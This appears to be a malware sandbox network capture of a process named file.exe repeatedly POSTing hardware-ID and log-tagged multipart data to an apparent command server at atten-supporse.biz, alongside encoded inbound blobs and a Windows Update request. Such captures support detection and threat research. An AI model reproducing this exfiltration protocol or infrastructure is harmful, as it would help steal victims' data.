2024-12-04 15:10:28 UTC	1369	IN	Data Raw: 74 54 65 5a 4d 42 4e 2b 4e 6d 66 36 45 55 6a 53 78 73 34 73 64 52 4e 7a 42 2b 6c 63 6a 35 67 73 33 2b 30 77 79 65 6e 72 4e 59 75 2f 4e 5a 63 72 56 57 46 2f 65 72 38 45 51 5a 75 53 67 6d 41 79 55 33 38 56 72 51 54 49 75 69 37 4b 36 52 7a 48 2f 2b 68 37 6b 2f 55 67 33 69 46 66 49 53 41 2b 76 52 4e 4d 6d 5a 69 47 49 47 34 57 64 67 62 73 56 6f 36 55 4a 4e 44 73 4d 38 58 75 35 7a 65 4d 76 44 36 4d 4e 46 5a 6e 61 6e 54 36 57 41 53 56 68 73 35 34 50 43 56 6f 47 76 78 4b 79 71 41 71 30 75 51 30 30 71 37 2b 64 5a 58 37 50 70 4a 6d 43 79 46 7a 66 72 59 52 54 4a 53 61 68 69 39 7a 47 6d 6f 4d 34 56 4b 61 6b 69 6e 56 35 44 7a 49 35 2b 77 38 67 62 41 7a 6b 79 4a 55 59 44 67 77 2b 68 46 63 30 73 62 4f 46 6d 77 65 64 43 50 6d 55 49 48 56 4e 70 4c 7a 63 38 50 69 6f 57 50 Data Ascii: tTeZMBN+Nmf6EUjSxs4sdRNzB+lcj5gs3+0wyenrNYu/NZcrVWF/er8EQZuSgmAyU38VrQTIui7K6RzH/+h7k/Ug3iFfISA+vRNMmZiGIG4WdgbsVo6UJNDsM8Xu5zeMvD6MNFZnanT6WASVhs54PCVoGvxKyqAq0uQ00q7+dZX7PpJmCyFzfrYRTJSahi9zGmoM4VKakinV5DzI5+w8gbAzkyJUYDgw+hFc0sbOFmwedCPmUIHVNpLzc8PioWP
2024-12-04 15:10:28 UTC	1369	IN	Data Raw: 43 6c 53 5a 58 31 37 76 68 46 41 6c 4a 48 4f 62 6a 77 55 59 45 32 31 48 4b 65 79 48 4a 37 4c 43 59 54 78 72 79 4c 4d 76 44 58 65 66 68 4e 74 65 33 4b 79 47 55 4b 62 6b 6f 51 70 64 78 39 7a 43 65 46 56 6a 5a 4d 6f 32 65 38 79 77 4f 4c 72 50 59 2b 34 4e 70 45 70 57 79 45 32 50 72 30 4f 42 4d 72 65 71 7a 64 33 48 58 35 4e 38 68 4b 52 31 53 37 51 71 6d 75 45 34 75 67 39 69 72 34 31 6e 79 42 62 5a 48 42 36 75 78 42 43 6b 5a 47 4b 4a 58 30 63 66 41 48 6a 56 6f 6d 55 4a 64 66 6c 4f 4d 47 75 72 33 75 4c 6f 33 6e 47 5a 6d 4a 69 62 6d 6d 71 47 67 53 4e 30 4a 64 67 65 78 38 34 56 61 31 64 6d 70 38 6a 30 75 38 38 77 65 33 75 50 49 47 39 4e 5a 51 76 57 32 64 33 64 36 67 56 53 4a 79 5a 67 43 78 79 48 6e 49 4f 34 42 7a 47 31 53 37 45 71 6d 75 45 77 75 59 32 6f 72 41 31 Data Ascii: ClSZX17vhFAlJHObjwUYE21HKeyHJ7LCYTxryLMvDXefhNte3KyGUKbkoQpdx9zCeFVjZMo2e8ywOLrPY+4NpEpWyE2Pr0OBMreqzd3HX5N8hKR1S7QqmuE4ug9ir41nyBbZHB6uxBCkZGKJX0cfAHjVomUJdflOMGur3uLo3nGZmJibmmqGgSN0Jdgex84Va1dmp8j0u88we3uPIG9NZQvW2d3d6gVSJyZgCxyHnIO4BzG1S7EqmuEwuY2orA1
2024-12-04 15:10:28 UTC	1369	IN	Data Raw: 4e 71 50 76 52 57 51 34 72 65 31 6d 42 4b 46 47 67 64 37 68 36 35 67 79 72 4b 34 54 37 49 72 76 35 31 6c 66 73 2b 6b 6d 59 4c 49 58 35 78 73 78 56 4c 6b 35 65 43 4c 58 6b 61 66 51 7a 72 57 49 4b 66 4b 64 72 73 4d 73 48 6b 34 6a 71 47 73 6a 36 57 49 56 42 7a 4f 44 44 36 45 56 7a 53 78 73 34 4a 65 77 46 32 48 61 31 44 78 6f 78 70 32 2b 5a 7a 6e 4b 37 6c 4d 59 4f 2f 50 70 49 67 56 6d 64 31 66 37 55 58 52 4a 32 61 68 53 6c 36 45 6e 55 49 34 46 69 61 6e 79 4c 54 35 6a 72 49 34 36 46 31 7a 4c 77 68 33 6e 34 54 55 48 56 77 74 42 46 53 30 6f 48 41 4f 54 77 55 64 45 32 31 48 49 6d 5a 4a 74 2f 6c 4d 4d 66 76 36 79 6d 65 74 7a 43 57 49 31 39 71 64 6e 69 6f 45 45 75 62 6e 59 30 70 65 78 74 30 42 2b 35 62 79 4e 74 70 32 2f 4a 7a 6e 4b 37 43 4c 4a 79 32 65 59 46 6f 53 Data Ascii: NqPvRWQ4re1mBKFGgd7h65gyrK4T7Irv51lfs+kmYLIX5xsxVLk5eCLXkafQzrWIKfKdrsMsHk4jqGsj6WIVBzODD6EVzSxs4JewF2Ha1Dxoxp2+ZznK7lMYO/PpIgVmd1f7UXRJ2ahSl6EnUI4FianyLT5jrI46F1zLwh3n4TUHVwtBFS0oHAOTwUdE21HImZJt/lMMfv6ymetzCWI19qdnioEEubnY0pext0B+5byNtp2/JznK7CLJy2eYFoS
2024-12-04 15:10:28 UTC	1369	IN	Data Raw: 38 45 55 4b 63 6a 49 73 6d 63 78 78 78 42 4f 6c 55 69 35 55 74 32 4f 30 32 78 2b 4c 71 50 49 2b 30 50 5a 63 6f 57 6d 34 34 4d 50 6f 52 58 4e 4c 47 7a 67 46 6e 45 48 51 41 72 55 50 47 6a 47 6e 62 35 6e 4f 63 72 75 30 31 69 62 73 7a 6d 43 4a 57 5a 33 4a 37 75 68 31 48 6e 5a 71 49 4a 48 4d 54 63 77 54 73 57 6f 32 66 49 74 72 6e 4d 4d 4c 6f 6f 58 58 4d 76 43 48 65 66 68 4e 42 59 33 4f 32 45 51 53 4e 30 4a 64 67 65 78 38 34 56 61 31 58 68 4a 45 75 33 4f 63 77 7a 4f 76 6c 4d 59 6d 37 4d 59 77 75 55 32 5a 71 62 4c 6f 66 51 5a 36 64 6a 69 52 36 47 6e 34 4f 36 52 7a 47 31 53 37 45 71 6d 75 45 77 2b 30 38 70 62 77 69 33 6a 6b 64 65 44 68 35 74 6c 59 63 30 70 2b 46 4b 6e 4d 65 65 77 76 75 56 34 32 66 4b 4e 76 69 50 74 62 74 37 6a 53 49 75 7a 61 59 49 46 4a 75 66 6e Data Ascii: 8EUKcjIsmcxxxBOlUi5Ut2O02x+LqPI+0PZcoWm44MPoRXNLGzgFnEHQArUPGjGnb5nOcru01ibszmCJWZ3J7uh1HnZqIJHMTcwTsWo2fItrnMMLooXXMvCHefhNBY3O2EQSN0Jdgex84Va1XhJEu3OcwzOvlMYm7MYwuU2ZqbLofQZ6djiR6Gn4O6RzG1S7EqmuEw+08pbwi3jkdeDh5tlYc0p+FKnMeewvuV42fKNviPtbt7jSIuzaYIFJufn
2024-12-04 15:10:28 UTC	1369	IN	Data Raw: 68 4a 33 4a 48 6b 49 30 62 67 66 71 54 49 2b 43 4a 70 79 6b 63 38 75 75 75 51 4c 4d 73 6a 36 46 4e 30 56 73 61 48 6e 36 4b 51 72 53 68 73 35 34 50 43 5a 37 41 2b 4e 62 6e 6f 52 6b 2b 2f 77 35 77 2f 37 6d 4c 49 50 37 64 39 34 67 45 7a 6b 72 4d 50 6f 53 56 64 4c 47 33 6e 49 6e 52 69 74 61 76 51 36 58 32 7a 43 63 2f 48 4f 63 76 4b 39 37 6e 76 74 68 33 6d 46 51 63 32 70 34 75 51 42 48 31 61 43 77 42 32 59 65 66 68 72 38 59 72 61 53 4d 39 48 73 4a 4e 57 69 39 44 69 43 74 54 36 49 5a 68 30 68 64 7a 37 69 4c 77 54 61 33 72 46 75 50 41 73 34 56 61 31 70 69 35 73 6e 32 2f 77 69 69 63 6e 37 4e 6f 71 73 4b 4e 35 6f 45 32 63 34 4a 75 70 59 42 4a 61 50 7a 6e 67 73 51 53 4e 59 76 67 76 59 78 7a 61 53 38 33 50 53 72 72 6c 70 77 76 73 72 33 6e 34 54 4a 6e 74 73 71 42 42 Data Ascii: hJ3JHkI0bgfqTI+CJpykc8uuuQLMsj6FN0VsaHn6KQrShs54PCZ7A+NbnoRk+/w5w/7mLIP7d94gEzkrMPoSVdLG3nInRitavQ6X2zCc/HOcvK97nvth3mFQc2p4uQBH1aCwB2Yefhr8YraSM9HsJNWi9DiCtT6IZh0hdz7iLwTa3rFuPAs4Va1pi5sn2/wiicn7NoqsKN5oE2c4JupYBJaPzngsQSNYvgvYxzaS83PSrrlpwvsr3n4TJntsqBB
2024-12-04 15:10:28 UTC	1369	IN	Data Raw: 47 42 6b 55 79 42 4e 32 46 2b 47 6d 79 37 4b 2b 33 37 6a 34 4f 59 36 6d 71 73 75 6b 57 59 64 49 58 34 2b 34 6b 51 4b 30 70 71 66 59 43 52 44 4b 6c 61 34 44 39 2f 46 65 38 4f 6b 4b 6f 54 34 6f 57 50 65 39 58 6d 4d 5a 67 73 68 50 33 32 6f 42 45 4b 52 69 49 31 6e 51 69 31 66 41 2b 70 64 6e 6f 55 2b 30 36 55 64 38 73 2f 66 42 5a 6d 34 4e 35 41 68 52 58 41 34 4d 50 6f 5a 42 4d 71 6e 7a 6d 67 38 4c 44 5a 4e 39 52 7a 51 31 52 7a 66 35 44 33 44 2b 50 42 32 71 37 55 2b 6e 7a 42 44 64 6e 63 78 6c 43 42 6c 30 74 44 4f 4a 6a 78 4c 4b 6b 4f 74 57 4a 6e 56 63 59 79 34 61 4a 47 39 74 6d 76 65 70 48 65 48 5a 6b 55 68 49 43 7a 30 56 6c 62 53 78 73 35 6e 66 77 46 71 43 2b 35 4b 69 39 49 58 34 73 30 39 77 2b 2f 33 4b 34 47 33 47 4a 30 33 57 56 39 47 61 37 6b 59 53 70 57 49 Data Ascii: GBkUyBN2F+Gmy7K+37j4OY6mqsukWYdIX4+4kQK0pqfYCRDKla4D9/Fe8OkKoT4oWPe9XmMZgshP32oBEKRiI1nQi1fA+pdnoU+06Ud8s/fBZm4N5AhRXA4MPoZBMqnzmg8LDZN9RzQ1Rzf5D3D+PB2q7U+nzBDdncxlCBl0tDOJjxLKkOtWJnVcYy4aJG9tmvepHeHZkUhICz0VlbSxs5nfwFqC+5Ki9IX4s09w+/3K4G3GJ03WV9Ga7kYSpWI
2024-12-04 15:10:28 UTC	1369	IN	Data Raw: 42 32 44 76 39 4f 6a 70 59 2f 33 36 30 4e 2b 73 50 7a 50 4a 79 34 65 36 38 72 56 33 64 74 66 61 6f 52 65 71 79 7a 6e 43 64 73 45 44 6f 68 36 6c 47 45 71 78 66 72 2b 7a 54 55 72 4d 63 34 6d 72 68 35 30 47 5a 4c 49 53 41 2b 6c 77 52 44 67 70 33 4d 44 48 73 65 64 45 33 79 45 70 48 56 50 35 79 79 59 49 71 75 38 33 76 55 2b 33 36 64 4e 45 46 6e 65 32 69 35 55 58 71 73 73 35 77 6e 62 42 41 36 50 4f 42 59 6e 6f 41 71 7a 4f 30 4e 2b 73 50 7a 50 4a 79 34 65 37 73 63 45 56 42 75 66 62 6f 59 51 39 4c 51 7a 6a 67 38 53 7a 67 67 2f 31 75 59 6c 6d 76 35 30 48 48 31 2b 4f 49 37 67 72 78 35 30 47 5a 66 49 53 41 2b 74 77 52 44 67 70 33 43 4a 32 59 55 4f 42 4b 6a 52 63 69 44 61 59 53 35 66 59 54 38 6f 57 50 4d 2f 44 65 54 4a 31 42 76 65 32 79 6f 45 45 65 45 6e 63 6b 65 51 Data Ascii: B2Dv9OjpY/360N+sPzPJy4e68rV3dtfaoReqyznCdsEDoh6lGEqxfr+zTUrMc4mrh50GZLISA+lwRDgp3MDHsedE3yEpHVP5yyYIqu83vU+36dNEFne2i5UXqss5wnbBA6POBYnoAqzO0N+sPzPJy4e7scEVBufboYQ9LQzjg8Szgg/1uYlmv50HH1+OI7grx50GZfISA+twRDgp3CJ2YUOBKjRciDaYS5fYT8oWPM/DeTJ1Bve2yoEEeEnckeQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.12	49713	188.114.96.6	443	6932	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:10:29 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RC0JJZFSK4KFZDZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12825 Host: atten-supporse.biz
2024-12-04 15:10:29 UTC	12825	OUT	Data Raw: 2d 2d 52 43 30 4a 4a 5a 46 53 4b 34 4b 46 5a 44 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 36 45 33 42 43 42 30 33 31 35 39 46 45 38 44 35 38 44 36 44 41 32 34 31 34 33 34 46 44 30 38 0d 0a 2d 2d 52 43 30 4a 4a 5a 46 53 4b 34 4b 46 5a 44 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 52 43 30 4a 4a 5a 46 53 4b 34 4b 46 5a 44 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --RC0JJZFSK4KFZDZContent-Disposition: form-data; name="hwid"C6E3BCB03159FE8D58D6DA241434FD08--RC0JJZFSK4KFZDZContent-Disposition: form-data; name="pid"2--RC0JJZFSK4KFZDZContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-12-04 15:10:32 UTC	1026	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:10:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6dfdgd46ll3grsj6i8jc76hk05; expires=Sun, 30-Mar-2025 08:57:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6rocQ5%2FDPTASvLw64pQ3JRD5Cuu6RY%2Fes7SbG1IiWtCUqL8Jjja0Bf7njXLuSt0E%2FPQ11UF65UwO1UUUzhiA2KrQNs9qLjl%2FtnS6TYpghtGoL8ixi%2Fh7w0FySTL%2BZlAlxNXBvD8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eccb93dcb024362-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2099&min_rtt=2092&rtt_var=799&sent=10&recv=16&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13764&delivery_rate=1356247&cwnd=250&unsent_bytes=0&cid=83312e80148760b5&ts=2540&x=0"
2024-12-04 15:10:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-04 15:10:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.12	49714	188.114.96.6	443	6932	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:10:33 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4F0B0F0YL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15024 Host: atten-supporse.biz
2024-12-04 15:10:33 UTC	15024	OUT	Data Raw: 2d 2d 34 46 30 42 30 46 30 59 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 36 45 33 42 43 42 30 33 31 35 39 46 45 38 44 35 38 44 36 44 41 32 34 31 34 33 34 46 44 30 38 0d 0a 2d 2d 34 46 30 42 30 46 30 59 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 34 46 30 42 30 46 30 59 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 34 46 30 42 30 46 30 59 4c 0d 0a 43 6f 6e 74 65 6e Data Ascii: --4F0B0F0YLContent-Disposition: form-data; name="hwid"C6E3BCB03159FE8D58D6DA241434FD08--4F0B0F0YLContent-Disposition: form-data; name="pid"2--4F0B0F0YLContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--4F0B0F0YLConten
2024-12-04 15:10:36 UTC	1027	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:10:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=farhla9di65o40m8036nvhlolb; expires=Sun, 30-Mar-2025 08:57:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w0J17xqVs9CUFGXvI%2BHp8sctB%2FEP5vhMh1KHrWwS4Rn6mZW%2Bp%2Ff7pUh3ay82KgOdiaW88Xeh8tnJSmk5k%2BETS2HFKL%2FjP6C2zspdSq5Fy%2Bt8JzcodNRuiGYpZ8szav2GIziqmAI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eccb955de978c53-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2140&min_rtt=1870&rtt_var=894&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2847&recv_bytes=15957&delivery_rate=1561497&cwnd=213&unsent_bytes=0&cid=4bea6c8f79f21011&ts=2441&x=0"
2024-12-04 15:10:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-04 15:10:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.12	49716	188.114.96.6	443	6932	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:10:37 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LEVFY38Y User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20193 Host: atten-supporse.biz
2024-12-04 15:10:37 UTC	15331	OUT	Data Raw: 2d 2d 4c 45 56 46 59 33 38 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 36 45 33 42 43 42 30 33 31 35 39 46 45 38 44 35 38 44 36 44 41 32 34 31 34 33 34 46 44 30 38 0d 0a 2d 2d 4c 45 56 46 59 33 38 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4c 45 56 46 59 33 38 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4c 45 56 46 59 33 38 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --LEVFY38YContent-Disposition: form-data; name="hwid"C6E3BCB03159FE8D58D6DA241434FD08--LEVFY38YContent-Disposition: form-data; name="pid"3--LEVFY38YContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--LEVFY38YContent-Di
2024-12-04 15:10:37 UTC	4862	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 6e 38 3a 2c f6 fd 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 e7 86 83 cf c7 92 c1 ab b1 e0 d5 e0 97 82 ff 63 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 bb 2f f9 58 bc 52 2d ce 14 cb 93 d3 d5 c2 54 a1 3c 75 7d 72 aa d2 28 d7 13 a3 c9 f1 0d 29 b5 c6 dc 07 c2 42 7b df 7e fd 0f 26 8f 27 ba d4 32 59 99 9e ac bd d2 c8 55 0b b5 e4 3d 23 51 c6 c5 3e 1c 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 30 1c 1d 16 fb 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 d1 61 Data Ascii: }n8:,0c</XR-T<u}r()B{~&'2YU=#Q>\|0~sa
2024-12-04 15:10:40 UTC	1024	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:10:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=iq4g9bn37iospq8olskfvmo7bm; expires=Sun, 30-Mar-2025 08:57:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WX%2BaBZXiRUJMBA%2B7eeLW4j5y3LVcpkq4WpRlGAtu5%2B9afB73yZmZgawU8zrgX619219wdFnNZW8J585DhUS%2Fhf4AXufy44qjsZgvv9AKal9xYLn%2FOL2g7RXyR4mxhPae3Zz7deQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eccb96e3e9c43c7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1698&min_rtt=1693&rtt_var=645&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21147&delivery_rate=1684939&cwnd=211&unsent_bytes=0&cid=f71df47af839fa16&ts=2626&x=0"
2024-12-04 15:10:40 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-04 15:10:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.12	49715	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:10:38 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=mGro34gfU62AXd9&MD=huvo7m3l HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-04 15:10:39 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 70b33054-6302-4d4f-994c-e5a375de13e3 MS-RequestId: 4b433ba4-5928-43f1-819f-e96020497317 MS-CV: XgXBe2wJd0KIm/m5.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 04 Dec 2024 15:10:38 GMT Connection: close Content-Length: 24490
2024-12-04 15:10:39 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-12-04 15:10:39 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.12	49720	188.114.96.6	443	6932	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:10:41 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WDBAZ8SDDZQDOT9T User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1225 Host: atten-supporse.biz
